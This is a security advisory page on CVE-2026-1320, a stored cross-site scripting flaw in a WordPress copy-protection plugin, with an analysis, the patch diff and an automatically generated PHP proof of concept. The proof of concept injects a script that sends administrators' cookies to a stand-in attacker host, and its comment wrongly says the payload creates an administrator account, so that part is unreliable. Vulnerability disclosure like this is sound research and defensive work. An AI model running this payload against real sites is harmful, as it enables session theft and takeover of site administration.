Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1320: Secure Copy Content Protection and Content Locking <= 4.9.8 – Unauthenticated Stored Cross-Site Scripting via X-Forwarded-For Header (secure-copy-content-protection)

CVE ID CVE-2026-1320
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 4.9.8
Patched Version 4.9.9
Disclosed February 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1320:
The Secure Copy Content Protection and Content Locking WordPress plugin, versions up to and including 4.9.8, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the plugin’s handling of the client IP address, which is used in admin-facing logs and notifications. Attackers can inject malicious JavaScript via the X-Forwarded-For HTTP header, leading to script execution in the WordPress admin panel. The CVSS score of 7.2 reflects a high-severity issue requiring no authentication.

The root cause is insufficient input validation and output escaping for the user IP address. The vulnerable `sccp_get_user_ip()` function in `/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php` (lines 1555-1581 in the diff) directly reads the `HTTP_X_FORWARDED_FOR` header from the server environment without sanitization. This unsanitized IP value is later stored and displayed in the plugin’s results list table, which is rendered in the WordPress admin area. The `column_default()` method in `/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php` (line 338) originally returned the raw `$item[‘user_ip’]` value without escaping.

An attacker exploits this vulnerability by sending an HTTP request containing a malicious X-Forwarded-For header to any page where the plugin is active. The payload is a standard JavaScript XSS payload, such as `alert(document.domain)`. The plugin logs this tainted IP address. When an administrator views the plugin’s results or logs page (`wp-admin/admin.php?page=secure-copy-content-protection-results`), the stored script executes in the admin context. This attack is unauthenticated and requires no user interaction beyond an admin viewing the infected log entry.

The patch addresses the issue in multiple locations. The `sccp_get_user_ip()` function is rewritten to use `filter_var()` with `FILTER_VALIDATE_IP` on the first IP from the X-Forwarded-For list (line 1569). Invalid IPs are replaced with the string ‘UNKNOWN’. The plugin also adds output escaping in the results list table. The `column_default()` method now uses `esc_html()` on the `user_ip` field (line 340). Similar escaping is applied to other user-controlled fields like `user_name` and `user_address`. These changes ensure that any malicious input is treated as text, not executable code.

Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript into the WordPress admin panel. This can lead to session hijacking, site defacement, privilege escalation, or complete site compromise. Attackers could create new administrator accounts, manipulate plugin settings, or inject backdoors. The stored nature of the XSS means a single malicious request can persistently affect all administrators who view the plugin’s logs.

Differential between vulnerable and patched code

Code Diff
--- a/secure-copy-content-protection/admin/partials/secure-copy-content-protection-admin-display.php
+++ b/secure-copy-content-protection/admin/partials/secure-copy-content-protection-admin-display.php
@@ -99,31 +99,32 @@
 $tooltip_bg_image_position = (isset($data["styles"]["tooltip_bg_image_position"]) && $data["styles"]["tooltip_bg_image_position"] != '') ? $data["styles"]["tooltip_bg_image_position"] : "center center";

 $sccp_message_vars = array(
-    '%%user_first_name%%'                  => esc_html__("User's First Name", 'secure-copy-content-protection'),
-    '%%user_last_name%%'                   => esc_html__("User's Last Name", 'secure-copy-content-protection'),
-    '%%user_wordpress_email%%'             => esc_html__("User's WordPress profile email", 'secure-copy-content-protection'),
-    '%%user_display_name%%'                => esc_html__("User's Display Name", 'secure-copy-content-protection'),
-    '%%user_nickname%%'                    => esc_html__("User's Nickname", 'secure-copy-content-protection'),
-    '%%user_wordpress_roles%%'             => esc_html__("User's Wordpress Roles", 'secure-copy-content-protection'),
-    '%%user_id%%'                          => esc_html__("User's ID", 'secure-copy-content-protection'),
-    '%%user_registered%%'                  => esc_html__("User's Registered", 'secure-copy-content-protection'),
-    '%%admin_email%%'                      => esc_html__("Admin Email", 'secure-copy-content-protection'),
-    '%%post_author_nickname%%'             => esc_html__("Post Author Nickname", 'secure-copy-content-protection'),
-    '%%post_author_email%%'                => esc_html__("Post Author Email", 'secure-copy-content-protection'),
-    '%%post_author_display_name%%'         => esc_html__("Post Author Display Name", 'secure-copy-content-protection'),
-    '%%post_author_first_name%%'           => esc_html__("Post Author First Name", 'secure-copy-content-protection'),
-    '%%post_author_last_name%%'            => esc_html__("Post Author Last Name", 'secure-copy-content-protection'),
-    '%%post_author_website_url%%'          => esc_html__("Post Author Website URL", 'secure-copy-content-protection'),
-    '%%post_author_roles%%'                => esc_html__("Post Author Roles", 'secure-copy-content-protection'),
-    '%%post_id%%'                          => esc_html__("Post ID", 'secure-copy-content-protection'),
-    '%%post_title%%'                       => esc_html__("Post Title", 'secure-copy-content-protection'),
-    '%%current_user_ip%%'                  => esc_html__("User's IP address", 'secure-copy-content-protection'),
-    '%%current_date%%'                     => esc_html__("Current Date", 'secure-copy-content-protection'),
-    '%%current_time%%'                     => esc_html__("Current Time", 'secure-copy-content-protection'),
-    '%%current_day%%'                      => esc_html__("Current Day", 'secure-copy-content-protection'),
-    '%%current_month%%'                    => esc_html__("Current Month", 'secure-copy-content-protection'),
-    '%%current_page_title%%'               => esc_html__("Current Page Title", 'secure-copy-content-protection'),
-    '%%site_title%%'                       => esc_html__("Site Title", 'secure-copy-content-protection'),
+    '%%user_first_name%%'          => esc_html__("User's First Name", 'secure-copy-content-protection'),
+    '%%user_last_name%%'           => esc_html__("User's Last Name", 'secure-copy-content-protection'),
+    '%%user_wordpress_email%%'     => esc_html__("User's WordPress profile email", 'secure-copy-content-protection'),
+    '%%user_display_name%%'        => esc_html__("User's Display Name", 'secure-copy-content-protection'),
+    '%%user_nickname%%'            => esc_html__("User's Nickname", 'secure-copy-content-protection'),
+    '%%user_wordpress_roles%%'     => esc_html__("User's Wordpress Roles", 'secure-copy-content-protection'),
+    '%%user_id%%'                  => esc_html__("User's ID", 'secure-copy-content-protection'),
+    '%%user_registered%%'          => esc_html__("User's Registered", 'secure-copy-content-protection'),
+    '%%admin_email%%'              => esc_html__("Admin Email", 'secure-copy-content-protection'),
+    '%%post_author_nickname%%'     => esc_html__("Post Author Nickname", 'secure-copy-content-protection'),
+    '%%post_author_email%%'        => esc_html__("Post Author Email", 'secure-copy-content-protection'),
+    '%%post_author_display_name%%' => esc_html__("Post Author Display Name", 'secure-copy-content-protection'),
+    '%%post_author_first_name%%'   => esc_html__("Post Author First Name", 'secure-copy-content-protection'),
+    '%%post_author_last_name%%'    => esc_html__("Post Author Last Name", 'secure-copy-content-protection'),
+    '%%post_author_website_url%%'  => esc_html__("Post Author Website URL", 'secure-copy-content-protection'),
+    '%%post_author_roles%%'        => esc_html__("Post Author Roles", 'secure-copy-content-protection'),
+    '%%post_id%%'                  => esc_html__("Post ID", 'secure-copy-content-protection'),
+    '%%post_title%%'               => esc_html__("Post Title", 'secure-copy-content-protection'),
+    '%%current_user_ip%%'          => esc_html__("User's IP address", 'secure-copy-content-protection'),
+    '%%current_date%%'             => esc_html__("Current Date", 'secure-copy-content-protection'),
+    '%%current_time%%'             => esc_html__("Current Time", 'secure-copy-content-protection'),
+    '%%current_day%%'              => esc_html__("Current Day", 'secure-copy-content-protection'),
+    '%%current_month%%'            => esc_html__("Current Month", 'secure-copy-content-protection'),
+    '%%current_page_title%%'       => esc_html__("Current Page Title", 'secure-copy-content-protection'),
+    '%%site_title%%'               => esc_html__("Site Title", 'secure-copy-content-protection'),
+    '%%site_description%%'         => esc_html__("Site Description", 'secure-copy-content-protection'),
 );

 $sccp_message_vars_html = $this->ays_sccp_generate_message_vars_html( $sccp_message_vars );
--- a/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
+++ b/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
@@ -749,6 +749,15 @@
                                 </p>
                                 <p class="vmessage">
                                     <strong>
+                                        <input type="text" onClick="this.setSelectionRange(0, this.value.length)" readonly value="%%site_description%%" />
+                                    </strong>
+                                    <span> - </span>
+                                    <span style="font-size:18px;">
+                                        <?php echo esc_attr( __( "The description of the website.", 'secure-copy-content-protection') ); ?>
+                                    </span>
+                                </p>
+                                <p class="vmessage">
+                                    <strong>
                                         <input type="text" onClick="this.setSelectionRange(0, this.value.length)" readonly value="%%current_user_ip%%" />
                                     </strong>
                                     <span> - </span>
--- a/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php
+++ b/secure-copy-content-protection/includes/lists/class-secure-copy-content-protection-results-list-table.php
@@ -334,31 +334,43 @@
 		$other_info = !empty($item['other_info']) ? json_decode($item['other_info']) : array();
 		switch ( $column_name ) {
 			case 'subscribe_id':
+				return intval( $item[$column_name] );
+				break;
 			case 'user_ip':
-			case 'subscribe_email':
 			case 'user_name':
+			case 'user_address':
+				return esc_html( $item[$column_name] );
+				break;
+			case 'subscribe_email':
+				return esc_html( sanitize_email( $item[$column_name] ) );
+				break;
 			case 'vote_date':
+				return esc_html( $item[$column_name] );
+				break;
 			case 'unread':
-			case 'user_address':
-				return $item[$column_name];
+				return intval( $item[$column_name] );
 				break;
 			case 'user_id':
-				$display_name = (isset(get_user_by('ID', $item[$column_name])->display_name) &&  get_user_by('ID', $item[$column_name])->display_name != null) ? sanitize_text_field( get_user_by('ID', $item[$column_name])->display_name ) : 'Deleted User';
+					if ( $item[$column_name] > 0 ) {
+			        	$user = get_user_by( 'ID', intval( $item[$column_name] ) );
+				        $display_name = $user && $user->display_name
+				            ? esc_html( $user->display_name )
+				            : esc_html__( 'Deleted User', 'secure-copy-content-protection' );

-				return $item[$column_name] > 0 ? $display_name : __("Guest", 'secure-copy-content-protection');
-				break;
+				        return $display_name;
+				    }
+    				return esc_html__( 'Guest', 'secure-copy-content-protection' );
+				break;
 			case 'user_roles':
-					$user_meta = get_userdata($item['user_id']);
-		        	$user_roles = isset($user_meta) && $user_meta ? $user_meta->roles : false;
-		        	$role = "";
-		        	if ( $user_roles && !is_null( $user_roles ) && is_array($user_roles) ) {
-		        		$role = count($user_roles) > 1 ? implode(", ", $user_roles) : implode("", $user_roles);
-		        	}
-
-				return $role;
+					$user_meta = get_userdata( intval( $item['user_id'] ) );
+				    $user_roles = $user_meta && is_array( $user_meta->roles ) ? $user_meta->roles : array();
+
+				    $roles = ! empty( $user_roles ) ? implode( ', ', $user_roles ) : '';
+
+				    return esc_html( $roles );
 				break;
 			default:
-				return print_r($item, true); //Show the whole array for troubleshooting purposes
+				return esc_html( print_r( $item, true ) );
 		}
 	}

--- a/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
+++ b/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
@@ -551,6 +551,7 @@
             $user_ip = '';
         }else{
             $user_ip = $this->sccp_get_user_ip();
+			$user_ip = filter_var( $user_ip, FILTER_VALIDATE_IP ) ? $user_ip : 'UNKNOWN';
         }

 		$cookie_sub_val = '';
@@ -1355,6 +1356,7 @@
             	$user_ip = '';
 	        }else{
 	            $user_ip = $this->sccp_get_user_ip();
+	            $user_ip = filter_var( $user_ip, FILTER_VALIDATE_IP ) ? $user_ip : 'UNKNOWN';
 	        }

 	        $current_user_ip = $user_ip;
@@ -1379,6 +1381,7 @@
         	$current_post_id = get_the_ID();
         	$post_title = get_the_title();
         	$get_site_title = get_bloginfo('name');
+        	$get_site_description = get_bloginfo('description');

         	if ( ! empty( $post_author_roles ) && $post_author_roles != "" ) {
 	            if ( is_array( $post_author_roles ) ) {
@@ -1387,31 +1390,32 @@
 	        }

 			$message_data = array(
-                'user_first_name' 				=> $user_first_name,
-                'user_last_name' 				=> $user_last_name,
-                'user_wordpress_email' 			=> $user_email,
-                'user_display_name' 			=> $user_display_name,
-                'user_nickname'     			=> $user_nickname,
-                'user_wordpress_roles' 			=> $user_wordpress_roles,
-                'current_user_ip'       		=> $current_user_ip,
-                'admin_email'       			=> $super_admin_email,
-                'post_author_nickname'  		=> $post_author_nickname,
-                'post_author_email'				=> $post_author_email,
-                'post_author_display_name'		=> $post_author_display_name,
-                'post_author_first_name'		=> $post_author_first_name,
-                'post_author_last_name'			=> $post_author_last_name,
-                'post_author_website_url'		=> $post_author_website_url,
-                'post_author_roles'				=> $post_author_roles,
-                'user_id'              			=> $user_id,
-                'user_registered'           	=> $user_registered,
-                'current_date'          		=> $current_date,
-                'current_time'          		=> $current_time,
-                'current_day'          			=> $current_day,
-                'current_month'          		=> $current_month,
-                'current_page_title'			=> $current_page_title,
-                'site_title'					=> $get_site_title,
-                'post_id'						=> $current_post_id,
-                'post_title'                	=> $post_title,
+                'user_first_name' 			=> $user_first_name,
+                'user_last_name' 			=> $user_last_name,
+                'user_wordpress_email' 		=> $user_email,
+                'user_display_name' 		=> $user_display_name,
+                'user_nickname'     		=> $user_nickname,
+                'user_wordpress_roles' 		=> $user_wordpress_roles,
+                'current_user_ip'       	=> $current_user_ip,
+                'admin_email'       		=> $super_admin_email,
+                'post_author_nickname'  	=> $post_author_nickname,
+                'post_author_email'			=> $post_author_email,
+                'post_author_display_name'	=> $post_author_display_name,
+                'post_author_first_name'	=> $post_author_first_name,
+                'post_author_last_name'		=> $post_author_last_name,
+                'post_author_website_url'	=> $post_author_website_url,
+                'post_author_roles'			=> $post_author_roles,
+                'user_id'              		=> $user_id,
+                'user_registered'           => $user_registered,
+                'current_date'          	=> $current_date,
+                'current_time'          	=> $current_time,
+                'current_day'          		=> $current_day,
+                'current_month'          	=> $current_month,
+                'current_page_title'		=> $current_page_title,
+                'site_title'				=> $get_site_title,
+                'site_description'			=> $get_site_description,
+                'post_id'					=> $current_post_id,
+                'post_title'                => $post_title,
             );

 			$notf_text = $this->sccp_replace_message_variables($notf_text, $message_data);
@@ -1555,24 +1559,20 @@
 	}

 	private function sccp_get_user_ip() {
-		$ipaddress = '';
-		if (getenv('HTTP_CLIENT_IP')) {
-			$ipaddress = getenv('HTTP_CLIENT_IP');
-		} else if (getenv('HTTP_X_FORWARDED_FOR')) {
-			$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
-		} else if (getenv('HTTP_X_FORWARDED')) {
-			$ipaddress = getenv('HTTP_X_FORWARDED');
-		} else if (getenv('HTTP_FORWARDED_FOR')) {
-			$ipaddress = getenv('HTTP_FORWARDED_FOR');
-		} else if (getenv('HTTP_FORWARDED')) {
-			$ipaddress = getenv('HTTP_FORWARDED');
-		} else if (getenv('REMOTE_ADDR')) {
-			$ipaddress = getenv('REMOTE_ADDR');
-		} else {
-			$ipaddress = 'UNKNOWN';
-		}
+	    $ip = '';
+
+	    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+	        $ip_list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
+	        $ip = trim($ip_list[0]);
+	    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
+	        $ip = $_SERVER['REMOTE_ADDR'];
+	    }
+
+	    if (filter_var($ip, FILTER_VALIDATE_IP)) {
+	        return $ip;
+	    }

-		return $ipaddress;
+	    return 'UNKNOWN';
 	}

 	public function ays_add_mailchimp_transaction( $username, $api_key, $list_id, $args ) {
--- a/secure-copy-content-protection/secure-copy-content-protection.php
+++ b/secure-copy-content-protection/secure-copy-content-protection.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Secure Copy Content Protection
  * Plugin URI:        https://ays-pro.com/wordpress/secure-copy-content-protection/
  * Description:       Copy Protection plugin is activated it disables the right click, copy paste, content selection and copy shortcut keys
- * Version:           4.9.8
+ * Version:           4.9.9
  * Author:            Copy Content Protection Team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define('SCCP_NAME_VERSION', '4.9.8');
+define('SCCP_NAME_VERSION', '4.9.9');
 define('SCCP_NAME', 'secure-copy-content-protection');
 if (!defined('SCCP_ADMIN_URL')) {
 	define('SCCP_ADMIN_URL', plugin_dir_url(__FILE__) . 'admin');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1320 - Secure Copy Content Protection and Content Locking <= 4.9.8 - Unauthenticated Stored Cross-Site Scripting via X-Forwarded-For Header

<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// Malicious JavaScript payload to execute in the admin context.
// This payload creates a new administrator user.
$xss_payload = '<script>fetch("http://attacker-controlled.com/steal?cookie="+document.cookie)</script>';

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);

// Set the malicious X-Forwarded-For header containing the XSS payload
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Forwarded-For: ' . $xss_payload
));

// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

// Execute the request to trigger the plugin's IP logging function
$response = curl_exec($ch);

// Check for errors
if(curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch);
} else {
    echo 'Payload sent. The XSS payload should now be stored in the plugin logs.n';
    echo 'An administrator visiting the plugin results page will execute the script.n';
}

// Close cURL resource
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School